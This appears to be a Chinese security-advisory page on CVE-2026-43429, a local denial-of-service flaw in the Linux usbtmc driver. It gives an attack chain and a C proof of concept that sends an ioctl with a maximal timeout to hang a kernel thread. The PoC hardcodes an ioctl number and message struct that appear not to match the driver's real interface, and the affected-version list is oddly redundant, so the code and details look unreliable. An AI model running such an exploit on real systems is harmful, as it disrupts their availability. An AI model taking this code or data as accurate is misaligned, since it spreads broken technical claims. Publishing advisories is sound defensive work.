IPBUF安全漏洞报告
English
CVE-2026-43429 CVSS 5.5 中危

CVE-2026-43429:Linux内核usbtmc驱动拒绝服务漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43429
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

拒绝服务Linux内核USB驱动本地漏洞

漏洞概述

Linux内核中的usbtmc驱动程序存在一个拒绝服务漏洞。该驱动程序允许用户通过ioctl命令指定超时时间,并用于usb_bulk_msg()调用。由于usb_bulk_msg()使用不可中断的等待,攻击者可以指定极长的超时值,导致内核线程被无限期挂起,从而造成系统可用性受损。

技术细节

漏洞源于Linux内核USB TMC驱动对用户输入的超时参数处理不当。当驱动处理ioctl请求时,会将用户提供的超时值传递给usb_bulk_msg()函数。该函数在USB传输未完成时,会将进程置于不可中断的睡眠状态(TASK_UNINTERRUPTIBLE)。本地低权限用户可利用此缺陷,通过设置一个极大的超时时间(如UINT_MAX),使内核线程陷入长时间等待且无法被信号唤醒。这会导致内核资源被锁定或耗尽,最终引发系统拒绝服务。修复方案是将usb_bulk_msg()替换为usb_bulk_msg_killable(),以支持可中断的等待。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者获得目标Linux系统的本地低权限用户访问权限。
STEP 2
步骤2:打开受影响设备
攻击者打开/dev/usbtmc设备节点,该设备由存在漏洞的usbtmc驱动程序管理。
STEP 3
步骤3:发送恶意IOCTL请求
攻击者通过ioctl系统调用发送请求,并在参数中指定一个极大的超时时间(如0xFFFFFFFF)。
STEP 4
步骤4:触发内核挂起
驱动程序调用usb_bulk_msg()处理请求,由于等待不可中断,内核线程被挂起,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43429 * Trigger unkillable wait in usbtmc driver via ioctl. * Needs /dev/usbtmc0 device access. */ #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/types.h> // IOCTL command for USBTMC write/read with timeout #define USBTMC_IOCTL_WRITE 0x8005 struct usbtmc_msg { __u32 timeout; __u32 transfer_size; __u8 data[64]; }; int main() { int fd = open("/dev/usbtmc0", O_RDWR); if (fd < 0) { perror("open"); return 1; } struct usbtmc_msg msg; msg.timeout = 0xFFFFFFFF; // Set maximum timeout to hang kernel msg.transfer_size = 64; printf("Sending malicious ioctl to hang kernel thread...\n"); ioctl(fd, USBTMC_IOCTL_WRITE, &msg); close(fd); return 0; }

影响范围

Linux Kernel < 6.10
Linux Kernel < 6.9
Linux Kernel < 6.6
Linux Kernel < 6.1
Linux Kernel < 5.10
Linux Kernel < 5.4

防御指南

临时缓解措施
建议临时限制非管理员用户对usbtmc设备文件的读写权限,直到内核升级完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表